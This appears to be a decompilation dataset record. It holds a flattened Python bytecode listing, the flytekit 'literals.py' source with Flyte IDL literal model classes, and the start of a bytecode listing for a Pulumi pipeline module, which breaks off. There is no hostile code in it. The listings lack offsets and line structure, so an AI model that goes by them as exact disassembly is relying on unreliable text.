LOAD_ATTR scalar LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR scalar LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 26 LOAD_CONST None LOAD_FAST self LOAD_ATTR collection LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR collection LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 48 LOAD_CONST None LOAD_FAST self LOAD_ATTR map LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR map LOAD_METHOD to_flyte_idl CALL_METHOD JUMP_FORWARD to 70 LOAD_CONST None LOAD_FAST self LOAD_ATTR hash LOAD_FAST self LOAD_ATTR metadata LOAD_CONST ('scalar', 'collection', 'map', 'hash', 'metadata') CALL_FUNCTION RETURN_VALUE LOAD_CONST None STORE_FAST collection LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'collection' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL LiteralCollection LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR collection CALL_METHOD STORE_FAST collection LOAD_FAST cls LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'scalar' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL Scalar LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR scalar CALL_METHOD JUMP_FORWARD to 52 LOAD_CONST None LOAD_FAST collection LOAD_FAST pb2_object LOAD_METHOD HasField LOAD_CONST 'map' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL LiteralMap LOAD_METHOD from_flyte_idl LOAD_FAST pb2_object LOAD_ATTR map CALL_METHOD JUMP_FORWARD to 78 LOAD_CONST None LOAD_FAST pb2_object LOAD_ATTR hash POP_JUMP_IF_FALSE LOAD_FAST pb2_object LOAD_ATTR hash JUMP_FORWARD to 92 LOAD_CONST None LOAD_FAST pb2_object LOAD_ATTR metadata POP_JUMP_IF_FALSE LOAD_CONST <code object <dictcomp> at 0x7fa6f0f65270, file "f.py", line 1057> LOAD_CONST 'Literal.from_flyte_idl.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST pb2_object LOAD_ATTR metadata LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION JUMP_FORWARD to 120 LOAD_CONST None LOAD_CONST ('scalar', 'collection', 'map', 'hash', 'metadata') CALL_FUNCTION RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 20 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST v LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE
from datetime import datetime as _datetime from datetime import timezone as _timezone from typing import Dict, Optional from flyteidl.core import literals_pb2 as _literals_pb2 from google.protobuf.struct_pb2 import Struct from flytekit.exceptions import user as _user_exceptions from flytekit.models import common as _common from flytekit.models.core import types as _core_types from flytekit.models.types import Error, StructuredDatasetType from flytekit.models.types import LiteralType as _LiteralType from flytekit.models.types import OutputReference as _OutputReference from flytekit.models.types import SchemaType as _SchemaType class RetryStrategy(_common.FlyteIdlEntity): def __init__(self, retries): """ :param int retries: Number of retries to attempt on recoverable failures. If retries is 0, then only one attempt will be made. """ self._retries = retries @property def retries(self): """ Number of retries to attempt on recoverable failures. If retries is 0, then only one attempt will be made. :rtype: int """ return self._retries def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.RetryStrategy """ return _literals_pb2.RetryStrategy(retries=self.retries) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.RetryStrategy pb2_object: :rtype: RetryStrategy """ return cls(retries=pb2_object.retries) class Primitive(_common.FlyteIdlEntity): def __init__( self, integer=None, float_value=None, string_value=None, boolean=None, datetime=None, duration=None, ): """ This object proxies the primitives supported by the Flyte IDL system. Only one value can be set. :param int integer: [Optional] :param float float_value: [Optional] :param Text string_value: [Optional] :param bool boolean: [Optional] :param datetime.timestamp datetime: [Optional] :param datetime.timedelta duration: [Optional] """ self._integer = integer self._float_value = float_value self._string_value = string_value self._boolean = boolean if datetime is None: self._datetime = None elif isinstance(datetime, _datetime): self._datetime = datetime else: # TODO Check for timestamp type? self._datetime = _datetime.utcfromtimestamp(datetime.seconds) self._duration = duration @property def integer(self): """ :rtype: int """ return self._integer @property def float_value(self): """ :rtype: float """ return self._float_value @property def string_value(self): """ :rtype: Text """ return self._string_value @property def boolean(self): """ :rtype: bool """ return self._boolean @property def datetime(self): """ :rtype: datetime.datetime """ if self._datetime is None or self._datetime.tzinfo is not None: return self._datetime return self._datetime.replace(tzinfo=_timezone.utc) @property def duration(self): """ :rtype: datetime.timedelta """ return self._duration @property def value(self): """ This returns whichever field is set. :rtype: T """ for value in [ self.integer, self.float_value, self.string_value, self.boolean, self.datetime, self.duration, ]: if value is not None: return value def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.Primitive """ primitive = _literals_pb2.Primitive( integer=self.integer, float_value=self.float_value, string_value=self.string_value, boolean=self.boolean, ) if self.datetime is not None: primitive.datetime.FromDatetime( self.datetime.astimezone(_timezone.utc).replace(tzinfo=None) ) if self.duration is not None: primitive.duration.FromTimedelta(self.duration) return primitive @classmethod def from_flyte_idl(cls, proto): """ :param flyteidl.core.literals_pb2.Primitive proto: :rtype: Primitive """ return cls( integer=proto.integer if proto.HasField("integer") else None, float_value=proto.float_value if proto.HasField("float_value") else None, string_value=proto.string_value if proto.HasField("string_value") else None, boolean=proto.boolean if proto.HasField("boolean") else None, datetime=( proto.datetime.ToDatetime().replace(tzinfo=_timezone.utc) if proto.HasField("datetime") else None ), duration=( proto.duration.ToTimedelta() if proto.HasField("duration") else None ), ) class Binary(_common.FlyteIdlEntity): def __init__(self, value, tag): """ :param bytes value: :param Text tag: """ self._value = value self._tag = tag @property def value(self): """ :rtype: bytes """ return self._value @property def tag(self): """ :rtype: Text """ return self._tag def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.Binary """ return _literals_pb2.Binary(value=self.value, tag=self.tag) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.Binary pb2_object: :rtype: Binary """ return cls(value=pb2_object.value, tag=pb2_object.tag) class BlobMetadata(_common.FlyteIdlEntity): """ This is metadata for the Blob literal. """ def __init__(self, type): """ :param flytekit.models.core.types.BlobType type: The type of the underlying blob """ self._type = type @property def type(self): """ :rtype: flytekit.models.core.types.BlobType """ return self._type def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.BlobMetadata """ return _literals_pb2.BlobMetadata(type=self.type.to_flyte_idl()) @classmethod def from_flyte_idl(cls, proto): """ :param flyteidl.core.literals_pb2.BlobMetadata proto: :rtype: BlobMetadata """ return cls(type=_core_types.BlobType.from_flyte_idl(proto.type)) class Blob(_common.FlyteIdlEntity): def __init__(self, metadata, uri): """ This literal model is used to represent binary data offloaded to some storage location which is identifiable with a unique string. See :py:class:`flytekit.FlyteFile` as an example. :param BlobMetadata metadata: :param Text uri: The location of this blob """ self._metadata = metadata self._uri = uri @property def uri(self): """ :rtype: Text """ return self._uri @property def metadata(self): """ :rtype: BlobMetadata """ return self._metadata def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.Blob """ return _literals_pb2.Blob(metadata=self.metadata.to_flyte_idl(), uri=self.uri) @classmethod def from_flyte_idl(cls, proto): """ :param flyteidl.core.literals_pb2.Blob proto: :rtype: Blob """ return cls(metadata=BlobMetadata.from_flyte_idl(proto.metadata), uri=proto.uri) class Void(_common.FlyteIdlEntity): def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.Void """ return _literals_pb2.Void() @classmethod def from_flyte_idl(cls, proto): """ :param flyteidl.core.literals_pb2.Void proto: :rtype: Void """ return cls() class BindingDataMap(_common.FlyteIdlEntity): def __init__(self, bindings): """ A map of BindingData items. Can be a recursive structure :param dict[string, BindingData] bindings: Map of strings to Bindings """ self._bindings = bindings @property def bindings(self): """ Map of strings to Bindings :rtype: dict[string, BindingData] """ return self._bindings def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.BindingDataMap """ return _literals_pb2.BindingDataMap( bindings={k: v.to_flyte_idl() for (k, v) in self.bindings.items()} ) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.BindingDataMap pb2_object: :rtype: flytekit.models.literals.BindingDataMap """ return cls( {k: BindingData.from_flyte_idl(v) for (k, v) in pb2_object.bindings.items()} ) class BindingDataCollection(_common.FlyteIdlEntity): def __init__(self, bindings): """ A list of BindingData items. :param list[BindingData] bindings: """ self._bindings = bindings @property def bindings(self): """ :rtype: list[BindingData] """ return self._bindings def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.BindingDataCollection """ return _literals_pb2.BindingDataCollection( bindings=[b.to_flyte_idl() for b in self.bindings] ) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.BindingDataCollection pb2_object: :rtype: flytekit.models.literals.BindingDataCollection """ return cls([BindingData.from_flyte_idl(b) for b in pb2_object.bindings]) class BindingData(_common.FlyteIdlEntity): def __init__(self, scalar=None, collection=None, promise=None, map=None): """ Specifies either a simple value or a reference to another output. Only one of the input arguments may be specified. :param Scalar scalar: [Optional] A simple scalar value. :param BindingDataCollection collection: [Optional] A collection of binding data. This allows nesting of binding data to any number of levels. :param flytekit.models.types.OutputReference promise: [Optional] References an output promised by another node. :param BindingDataMap map: [Optional] A map of bindings. The key is always a string. """ self._scalar = scalar self._collection = collection self._promise = promise self._map = map @property def scalar(self): """ A simple scalar value. :rtype: Scalar """ return self._scalar @property def collection(self): """ [Optional] A collection of binding data. This allows nesting of binding data to any number of levels. :rtype: BindingDataCollection """ return self._collection @property def promise(self): """ [Optional] References an output promised by another node. :rtype: flytekit.models.types.OutputReference """ return self._promise @property def map(self): """ [Optional] A map of bindings. The key is always a string. :rtype: BindingDataMap """ return self._map @property def value(self): """ Returns whichever value is set :rtype: T """ return self.scalar or self.collection or self.promise or self.map def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.BindingData """ return _literals_pb2.BindingData( scalar=self.scalar.to_flyte_idl() if self.scalar is not None else None, collection=( self.collection.to_flyte_idl() if self.collection is not None else None ), promise=self.promise.to_flyte_idl() if self.promise is not None else None, map=self.map.to_flyte_idl() if self.map is not None else None, ) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.BindingData pb2_object: :return: BindingData """ return cls( scalar=( Scalar.from_flyte_idl(pb2_object.scalar) if pb2_object.HasField("scalar") else None ), collection=( BindingDataCollection.from_flyte_idl(pb2_object.collection) if pb2_object.HasField("collection") else None ), promise=( _OutputReference.from_flyte_idl(pb2_object.promise) if pb2_object.HasField("promise") else None ), map=( BindingDataMap.from_flyte_idl(pb2_object.map) if pb2_object.HasField("map") else None ), ) def to_literal_model(self): """ Converts current binding data into a Literal asserting that there are no promises in the bindings. :rtype: Literal """ if self.promise: raise _user_exceptions.FlyteValueException( self.promise, "Cannot convert BindingData to a Literal because " "it has a promise.", ) elif self.scalar: return Literal(scalar=self.scalar) elif self.collection: return Literal( collection=LiteralCollection( literals=[ binding.to_literal_model() for binding in self.collection.bindings ] ) ) elif self.map: return Literal( map=LiteralMap( literals={ k: binding.to_literal_model() for k, binding in self.map.bindings.items() } ) ) class Binding(_common.FlyteIdlEntity): def __init__(self, var, binding): """ An input/output binding of a variable to either static value or a node output. :param Text var: A variable name, must match an input or output variable of the node. :param BindingData binding: Data to use to bind this variable. """ self._var = var self._binding = binding @property def var(self): """ A variable name, must match an input or output variable of the node. :rtype: Text """ return self._var @property def binding(self): """ Data to use to bind this variable. :rtype: BindingData """ return self._binding def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.Binding """ return _literals_pb2.Binding(var=self.var, binding=self.binding.to_flyte_idl()) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.Binding pb2_object: :rtype: flytekit.core.models.literals.Binding """ return cls(pb2_object.var, BindingData.from_flyte_idl(pb2_object.binding)) class Schema(_common.FlyteIdlEntity): def __init__(self, uri, type): """ A strongly typed schema that defines the interface of data retrieved from the underlying storage medium. :param Text uri: :param flytekit.models.types.SchemaType type: """ self._uri = uri self._type = type @property def uri(self): """ :rtype: Text """ return self._uri @property def type(self): """ :rtype: flytekit.models.types.SchemaType """ return self._type def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.Schema """ return _literals_pb2.Schema(uri=self.uri, type=self.type.to_flyte_idl()) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.Schema pb2_object: :rtype: Schema """ return cls(uri=pb2_object.uri, type=_SchemaType.from_flyte_idl(pb2_object.type)) class Union(_common.FlyteIdlEntity): def __init__(self, value, stored_type): """ The runtime representation of a tagged union value. See `UnionType` for more details. :param flytekit.models.literals.Literal value: :param flytekit.models.types.LiteralType stored_type: """ self._value = value self._type = stored_type @property def value(self): """ :rtype: flytekit.models.literals.Literal """ return self._value @property def stored_type(self): """ :rtype: flytekit.models.types.LiteralType """ return self._type def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.Union """ return _literals_pb2.Union( value=self.value.to_flyte_idl(), type=self._type.to_flyte_idl() ) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.Schema pb2_object: :rtype: Schema """ return cls( value=Literal.from_flyte_idl(pb2_object.value), stored_type=_LiteralType.from_flyte_idl(pb2_object.type), ) class StructuredDatasetMetadata(_common.FlyteIdlEntity): def __init__(self, structured_dataset_type: Optional[StructuredDatasetType] = None): self._structured_dataset_type = structured_dataset_type @property def structured_dataset_type(self) -> StructuredDatasetType: return self._structured_dataset_type def to_flyte_idl(self) -> _literals_pb2.StructuredDatasetMetadata: return _literals_pb2.StructuredDatasetMetadata( structured_dataset_type=( self.structured_dataset_type.to_flyte_idl() if self._structured_dataset_type else None ), ) @classmethod def from_flyte_idl( cls, pb2_object: _literals_pb2.StructuredDatasetMetadata ) -> "StructuredDatasetMetadata": return cls( structured_dataset_type=StructuredDatasetType.from_flyte_idl( pb2_object.structured_dataset_type ), ) class StructuredDataset(_common.FlyteIdlEntity): def __init__(self, uri: str, metadata: Optional[StructuredDatasetMetadata] = None): """ A strongly typed schema that defines the interface of data retrieved from the underlying storage medium. """ self._uri = uri self._metadata = metadata @property def uri(self) -> str: return self._uri @property def metadata(self) -> Optional[StructuredDatasetMetadata]: return self._metadata def to_flyte_idl(self) -> _literals_pb2.StructuredDataset: return _literals_pb2.StructuredDataset( uri=self.uri, metadata=self.metadata.to_flyte_idl() if self.metadata else None, ) @classmethod def from_flyte_idl( cls, pb2_object: _literals_pb2.StructuredDataset ) -> "StructuredDataset": return cls( uri=pb2_object.uri, metadata=StructuredDatasetMetadata.from_flyte_idl(pb2_object.metadata), ) class LiteralCollection(_common.FlyteIdlEntity): def __init__(self, literals): """ :param list[Literal] literals: underlying list of literals in this collection. """ self._literals = literals @property def literals(self): """ :rtype: list[Literal] """ return self._literals def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.LiteralCollection """ return _literals_pb2.LiteralCollection( literals=[l.to_flyte_idl() for l in self.literals] ) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.LiteralCollection pb2_object: :rtype: LiteralCollection """ return cls([Literal.from_flyte_idl(l) for l in pb2_object.literals]) class LiteralMap(_common.FlyteIdlEntity): def __init__(self, literals): """ :param dict[Text, Literal] literals: A dictionary mapping Text key names to Literal objects. """ self._literals = literals @property def literals(self): """ A dictionary mapping Text key names to Literal objects. :rtype: dict[Text, Literal] """ return self._literals def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.LiteralMap """ return _literals_pb2.LiteralMap( literals={k: v.to_flyte_idl() for k, v in self.literals.items()} ) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.LiteralMap pb2_object: :rtype: LiteralMap """ return cls( {k: Literal.from_flyte_idl(v) for k, v in pb2_object.literals.items()} ) class Scalar(_common.FlyteIdlEntity): def __init__( self, primitive: Primitive = None, blob: Blob = None, binary: Binary = None, schema: Schema = None, union: Union = None, none_type: Void = None, error: Error = None, generic: Struct = None, structured_dataset: StructuredDataset = None, ): """ Scalar wrapper around Flyte types. Only one can be specified. :param Primitive primitive: :param Blob blob: :param Binary binary: :param Schema schema: :param Void none_type: :param Error error: :param google.protobuf.struct_pb2.Struct generic: :param StructuredDataset structured_dataset: """ self._primitive = primitive self._blob = blob self._binary = binary self._schema = schema self._union = union self._none_type = none_type self._error = error self._generic = generic self._structured_dataset = structured_dataset @property def primitive(self): """ :rtype: Primitive """ return self._primitive @property def blob(self): """ :rtype: Blob """ return self._blob @property def binary(self): """ :rtype: Binary """ return self._binary @property def schema(self): """ :rtype: Schema """ return self._schema @property def union(self): """ :rtype: Union """ return self._union @property def none_type(self): """ :rtype: Void """ return self._none_type @property def error(self): """ :rtype: Error """ return self._error @property def generic(self): """ :rtype: google.protobuf.struct_pb2.Struct """ return self._generic @property def structured_dataset(self) -> StructuredDataset: return self._structured_dataset @property def value(self): """ Returns whichever value is set :rtype: T """ return ( self.primitive or self.blob or self.binary or self.schema or self.union or self.none_type or self.error or self.generic or self.structured_dataset ) def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.Scalar """ return _literals_pb2.Scalar( primitive=( self.primitive.to_flyte_idl() if self.primitive is not None else None ), blob=self.blob.to_flyte_idl() if self.blob is not None else None, binary=self.binary.to_flyte_idl() if self.binary is not None else None, schema=self.schema.to_flyte_idl() if self.schema is not None else None, union=self.union.to_flyte_idl() if self.union is not None else None, none_type=( self.none_type.to_flyte_idl() if self.none_type is not None else None ), error=self.error.to_flyte_idl() if self.error is not None else None, generic=self.generic, structured_dataset=( self.structured_dataset.to_flyte_idl() if self.structured_dataset is not None else None ), ) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.Scalar pb2_object: :rtype: flytekit.models.literals.Scalar """ return cls( primitive=( Primitive.from_flyte_idl(pb2_object.primitive) if pb2_object.HasField("primitive") else None ), blob=( Blob.from_flyte_idl(pb2_object.blob) if pb2_object.HasField("blob") else None ), binary=( Binary.from_flyte_idl(pb2_object.binary) if pb2_object.HasField("binary") else None ), schema=( Schema.from_flyte_idl(pb2_object.schema) if pb2_object.HasField("schema") else None ), union=( Union.from_flyte_idl(pb2_object.union) if pb2_object.HasField("union") else None ), none_type=( Void.from_flyte_idl(pb2_object.none_type) if pb2_object.HasField("none_type") else None ), error=pb2_object.error if pb2_object.HasField("error") else None, generic=pb2_object.generic if pb2_object.HasField("generic") else None, structured_dataset=( StructuredDataset.from_flyte_idl(pb2_object.structured_dataset) if pb2_object.HasField("structured_dataset") else None ), ) class Literal(_common.FlyteIdlEntity): def __init__( self, scalar: Optional[Scalar] = None, collection: Optional[LiteralCollection] = None, map: Optional[LiteralMap] = None, hash: Optional[str] = None, metadata: Optional[Dict[str, str]] = None, ): """ This IDL message represents a literal value in the Flyte ecosystem. :param Scalar scalar: :param LiteralCollection collection: :param LiteralMap map: """ self._scalar = scalar self._collection = collection self._map = map self._hash = hash self._metadata = metadata @property def scalar(self): """ If not None, this value holds a scalar value which can be further unpacked. :rtype: Scalar """ return self._scalar @property def collection(self): """ If not None, this value holds a collection of Literal values which can be further unpacked. :rtype: LiteralCollection """ return self._collection @property def map(self): """ If not None, this value holds a map of Literal values which can be further unpacked. :rtype: LiteralMap """ return self._map @property def value(self): """ Returns one of the scalar, collection, or map properties based on which one is set. :rtype: T """ return self.scalar or self.collection or self.map @property def hash(self): """ If not None, this value holds a hash that represents the literal for caching purposes. :rtype: str """ return self._hash @hash.setter def hash(self, value): self._hash = value @property def metadata(self) -> Optional[Dict[str, str]]: """ This value holds metadata about the literal. """ return self._metadata def to_flyte_idl(self): """ :rtype: flyteidl.core.literals_pb2.Literal """ return _literals_pb2.Literal( scalar=self.scalar.to_flyte_idl() if self.scalar is not None else None, collection=( self.collection.to_flyte_idl() if self.collection is not None else None ), map=self.map.to_flyte_idl() if self.map is not None else None, hash=self.hash, metadata=self.metadata, ) @classmethod def from_flyte_idl(cls, pb2_object): """ :param flyteidl.core.literals_pb2.Literal pb2_object: :rtype: Literal """ collection = None if pb2_object.HasField("collection"): collection = LiteralCollection.from_flyte_idl(pb2_object.collection) return cls( scalar=( Scalar.from_flyte_idl(pb2_object.scalar) if pb2_object.HasField("scalar") else None ), collection=collection, map=( LiteralMap.from_flyte_idl(pb2_object.map) if pb2_object.HasField("map") else None ), hash=pb2_object.hash if pb2_object.hash else None, metadata=( {k: v for k, v in pb2_object.metadata.items()} if pb2_object.metadata else None ), )
data/flytekit-1.10.7/flytekit/models/literals.py
14,940
9,015
52,349
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi.runtime STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST ('Any', 'Mapping', 'Optional', 'Sequence', 'Union', 'overload') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Mapping STORE_NAME Mapping IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Sequence STORE_NAME Sequence IMPORT_FROM Union STORE_NAME Union IMPORT_FROM overload STORE_NAME overload POP_TOP LOAD_CONST 2 LOAD_CONST ('_utilities',) IMPORT_NAME IMPORT_FROM _utilities STORE_NAME _utilities POP_TOP LOAD_CONST 1 LOAD_CONST ('outputs',) IMPORT_NAME IMPORT_FROM outputs STORE_NAME outputs POP_TOP LOAD_CONST 1 LOAD_CONST ('*',) IMPORT_NAME _inputs IMPORT_STAR LOAD_CONST 'PipelineArgs' LOAD_CONST 'Pipeline' BUILD_LIST STORE_NAME __all__ LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object PipelineArgs at 0x7fab82258c90, file "f.py", line 13> LOAD_CONST 'PipelineArgs' MAKE_FUNCTION LOAD_CONST 'PipelineArgs' CALL_FUNCTION CALL_FUNCTION STORE_NAME PipelineArgs LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object _PipelineState at 0x7fab80107810, file "f.py", line 166> LOAD_CONST '_PipelineState' MAKE_FUNCTION LOAD_CONST '_PipelineState' CALL_FUNCTION CALL_FUNCTION STORE_NAME _PipelineState LOAD_BUILD_CLASS LOAD_CONST <code object Pipeline at 0x7fab8225c270, file "f.py", line 359> LOAD_CONST 'Pipeline' MAKE_FUNCTION LOAD_CONST 'Pipeline' LOAD_NAME pulumi LOAD_ATTR CustomResource CALL_FUNCTION STORE_NAME Pipeline LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PipelineArgs' STORE_NAME __qualname__ LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('parallelism_configuration', 'pipeline_definition', 'pipeline_definition_s3_location', 'pipeline_description', 'role_arn', 'tags') BUILD_CONST_KEY_MAP LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelineParallelismConfigurationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelinePipelineDefinitionS3LocationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('pipeline_display_name', 'pipeline_name', 'parallelism_configuration', 'pipeline_definition', 'pipeline_definition_s3_location', 'pipeline_description', 'role_arn', 'tags') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab70306db0, file "f.py", line 15> LOAD_CONST 'PipelineArgs.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDisplayName' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_display_name at 0x7fab703064b0, file "f.py", line 61> LOAD_CONST 'PipelineArgs.pipeline_display_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_display_name LOAD_NAME pipeline_display_name LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_display_name at 0x7fab703065d0, file "f.py", line 69> LOAD_CONST 'PipelineArgs.pipeline_display_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pipeline_display_name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineName' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_name at 0x7fab70306ed0, file "f.py", line 73> LOAD_CONST 'PipelineArgs.pipeline_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_name LOAD_NAME pipeline_name LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_name at 0x7fab70306390, file "f.py", line 81> LOAD_CONST 'PipelineArgs.pipeline_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pipeline_name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'parallelismConfiguration' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelineParallelismConfigurationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object parallelism_configuration at 0x7fab70306660, file "f.py", line 85> LOAD_CONST 'PipelineArgs.parallelism_configuration' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME parallelism_configuration LOAD_NAME parallelism_configuration LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelineParallelismConfigurationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object parallelism_configuration at 0x7fab70306a50, file "f.py", line 95> LOAD_CONST 'PipelineArgs.parallelism_configuration' MAKE_FUNCTION CALL_FUNCTION STORE_NAME parallelism_configuration LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDefinition' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_definition at 0x7fab82258030, file "f.py", line 101> LOAD_CONST 'PipelineArgs.pipeline_definition' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_definition LOAD_NAME pipeline_definition LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_definition at 0x7fab82258270, file "f.py", line 109> LOAD_CONST 'PipelineArgs.pipeline_definition' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pipeline_definition LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDefinitionS3Location' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelinePipelineDefinitionS3LocationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_definition_s3_location at 0x7fab82258d20, file "f.py", line 113> LOAD_CONST 'PipelineArgs.pipeline_definition_s3_location' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_definition_s3_location LOAD_NAME pipeline_definition_s3_location LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelinePipelineDefinitionS3LocationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) 